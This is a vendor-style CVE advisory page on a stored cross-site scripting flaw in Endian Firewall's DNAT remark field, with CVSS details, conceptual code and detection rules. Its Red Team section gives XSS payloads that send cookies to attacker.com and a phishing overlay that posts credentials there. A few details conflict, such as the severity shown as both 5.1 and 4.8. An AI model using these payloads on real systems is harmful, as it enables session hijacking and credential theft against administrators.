☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]

CVE-2026-34805

CVE-2026-34805 is a stored cross-site scripting (XSS) vulnerability in Endian Firewall version 3.
📅 PUBLISHED: 2026-04-02 14:45 UTC 🔄 UPDATED: 2026-09-23 20:33 UTC
[ PATCH UNDER REVIEW ↓ ] Remains UNDER REVIEW until an independent source confirms the fix
[ DEFENSE PATCH ↓ ]
💣 PoC: None
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.17%
👁️
0.17% probability
4.2× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
VULNERABLE: version not auto-detected — verify your deployed version locally
CVSS SEVERITY SCALE
9.0–10.0 CRITICAL
7.0–8.9 HIGH
4.0–6.9 MEDIUM
0.1–3.9 LOW
0.0 NONE
5.1
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2026-34805 is a stored cross-site scripting (XSS) vulnerability in Endian Firewall version 3.3.25 and prior. An authenticated attacker can inject arbitrary JavaScript via the remark parameter in the /cgi-bin/dnat.cgi endpoint. This injected script is stored on the server and executed when other authenticated users view the affected page, leading to potential session hijacking, data theft, or further compromise within the firewall management interface.

The vulnerability is classified under CWE-79 (Improper Neutralization of Input During Web Page Generation) and has a CVSS v3.1 base score of 4.8 (Medium). The attack vector is network-based, requires low complexity, low privileges, and user interaction. The scope is changed, meaning the impact extends beyond the vulnerable component.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

This vulnerability is not related to any specific package manager (NPM, PyPI, Go, Ruby). It is a custom web application component within the Endian Firewall product. No supply chain implications have been identified.

CVSS Breakdown & Threat Level

  • Attack Vector (AV): Network (N) – The attack is performed over the network.
  • Attack Complexity (AC): Low (L) – No special conditions are required for exploitation.
  • Privileges Required (PR): Low (L) – The attacker must have valid credentials to the firewall interface.
  • User Interaction (UI): Required (R) – A victim user must view the affected page.
  • Scope (S): Changed (C) – The impact may affect resources beyond the vulnerable component.
  • Confidentiality (C): Low (L) – Limited information disclosure.
  • Integrity (I): Low (L) – Limited modification of data.
  • Availability (A): None (N) – No impact on availability.

Threat Level: Medium. The requirement for authentication and user interaction reduces the immediate risk, but the stored nature of the XSS allows for persistent attacks against other administrators.

Deep Dive & Mechanics

The vulnerability exists in the /cgi-bin/dnat.cgi CGI script, which handles Destination Network Address Translation (DNAT) rules. The remark parameter is used to add a descriptive comment to a DNAT rule. The application fails to sanitize or encode this input before storing it in the backend database or configuration file. When the DNAT rules are displayed in the web interface, the stored remark value is rendered without proper escaping, allowing the execution of injected HTML and JavaScript.

The attack flow:

  1. An authenticated attacker logs into the Endian Firewall web interface.
  2. The attacker navigates to the DNAT rule management page and creates or edits a rule.
  3. In the remark field, the attacker injects a malicious payload, such as:
    <script>alert('XSS')</script>
    
  4. The payload is stored in the system.
  5. When another administrator views the DNAT rules page, the injected script executes in their browser context.

This can be used to steal session cookies, perform actions on behalf of the victim, or redirect to phishing pages.

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual):

# /cgi-bin/dnat.cgi (simplified)
remark = get_param('remark')
save_to_database(remark)
# When displaying:
print("<td>" + remark + "</td>")

Patched Code (Conceptual):

# /cgi-bin/dnat.cgi (simplified)
import html
remark = get_param('remark')
safe_remark = html.escape(remark)
save_to_database(safe_remark)
# When displaying:
print("<td>" + safe_remark + "</td>")

The patched version uses HTML escaping to neutralize any injected HTML or JavaScript before storage and display.

Exploitation & Lab Setup

Red Team

Prerequisites:

  • Valid credentials for the Endian Firewall web interface.
  • Network access to the management interface.

Exploitation Steps:

  1. Log in to the Endian Firewall web interface.
  2. Navigate to the DNAT rules section (typically under Firewall > NAT > DNAT).
  3. Create a new DNAT rule or edit an existing one.
  4. In the remark field, inject a payload. Example for cookie theft:
    <script>
    new Image().src='http://attacker.com/steal?cookie='+document.cookie;
    </script>
    
  5. Save the rule.
  6. Wait for another administrator to view the DNAT rules page. The script will execute and send the victim's cookies to the attacker's server.

Alternative Payloads:

  • Session hijacking:
    <script>document.location='http://attacker.com/steal?cookie='+document.cookie;</script>
    
  • Phishing overlay:
    <script>
    var overlay = document.createElement('div');
    overlay.innerHTML = '<form action="http://attacker.com/login" method="POST"><input type="text" name="user"><input type="password" name="pass"><input type="submit"></form>';
    document.body.appendChild(overlay);
    </script>
    

Blue Team

Detection:

  • Monitor for unusual remark values in DNAT rules containing <script> tags or event handlers.
  • Review web server logs for requests to /cgi-bin/dnat.cgi with suspicious parameters.
  • Use the detection rules provided in the Detection Engineering section.

Mitigation:

  • Apply input validation and output encoding to the remark parameter.
  • Implement Content Security Policy (CSP) headers to restrict script execution.
  • Regularly audit DNAT rules for unexpected content.
  • Restrict access to the management interface to trusted IPs only.

Indicators of Compromise (IOCs)

  • Network IOCs:

    • HTTP requests to /cgi-bin/dnat.cgi with remark parameter containing <script> tags or JavaScript event handlers.
    • Outbound connections from the firewall to attacker-controlled domains (e.g., for cookie exfiltration).
  • Host IOCs:

    • DNAT rules with remark fields containing HTML/JavaScript code.
    • Unusual entries in the firewall configuration database or files.
  • Log IOCs:

    • Web server logs showing repeated attempts to modify DNAT rules with suspicious remark values.

Detection Engineering

YARA Rule

rule detect_endian_xss_remark {
    meta:
        description = "Detects stored XSS payloads in Endian Firewall DNAT remark fields"
        author = "Valters IT"
        date = "2026-01-01"
        reference = "CVE-2026-34805"
    strings:
        $xss_payload = /<script[^>]*>.*?<\/script>/si
        $event_handler = /on\w+\s*=\s*['\"].*?['\"]/si
        $javascript_url = /javascript\s*:/si
    condition:
        any of them
}

Sigma Rule

title: Endian Firewall Stored XSS via DNAT Remark
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects attempts to exploit CVE-2026-34805 by injecting XSS payloads into the remark parameter of /cgi-bin/dnat.cgi
author: Valters IT
date: 2026-01-01
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query: '/cgi-bin/dnat.cgi'
        cs-uri-query|contains: 'remark='
    filter:
        cs-uri-query|contains:
            - '<script'
            - 'onload='
            - 'onerror='
            - 'javascript:'
    condition: selection and filter
falsepositives:
    - Legitimate use of HTML in remarks (unlikely)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2026-34805 - Endian Firewall Stored XSS via DNAT Remark";
    flow:to_server,established;
    content:"POST"; http_method;
    content:"/cgi-bin/dnat.cgi"; http_uri;
    content:"remark="; http_client_body;
    pcre:"/<script[^>]*>.*?<\/script>/i";
    classtype:web-application-attack;
    sid:1000001;
    rev:1;
)

Remediation & Mitigation

Immediate Actions:

  1. Upgrade: If a patched version becomes available, upgrade immediately. Currently, no patch is available.
  2. Input Validation: Implement server-side validation to reject or sanitize HTML/JavaScript in the remark parameter.
  3. Output Encoding: Ensure all user-supplied data is HTML-encoded before rendering in the web interface.
  4. Content Security Policy: Add CSP headers to restrict script execution:
    Content-Security-Policy: default-src 'self'; script-src 'self'; object-src 'none';
    

Long-term Measures:

  • Conduct a security audit of all CGI scripts for similar injection vulnerabilities.
  • Implement a Web Application Firewall (WAF) to filter malicious payloads.
  • Enforce least privilege for administrative accounts.
  • Enable logging and monitoring for suspicious activities.

Workaround:

  • Restrict access to the management interface to a trusted network segment.
  • Disable the DNAT rule remark feature if not essential.

Valters IT

{/* [Security Hash: C2510469021E485CCF6A8A7B] */}

◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2026-34805/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.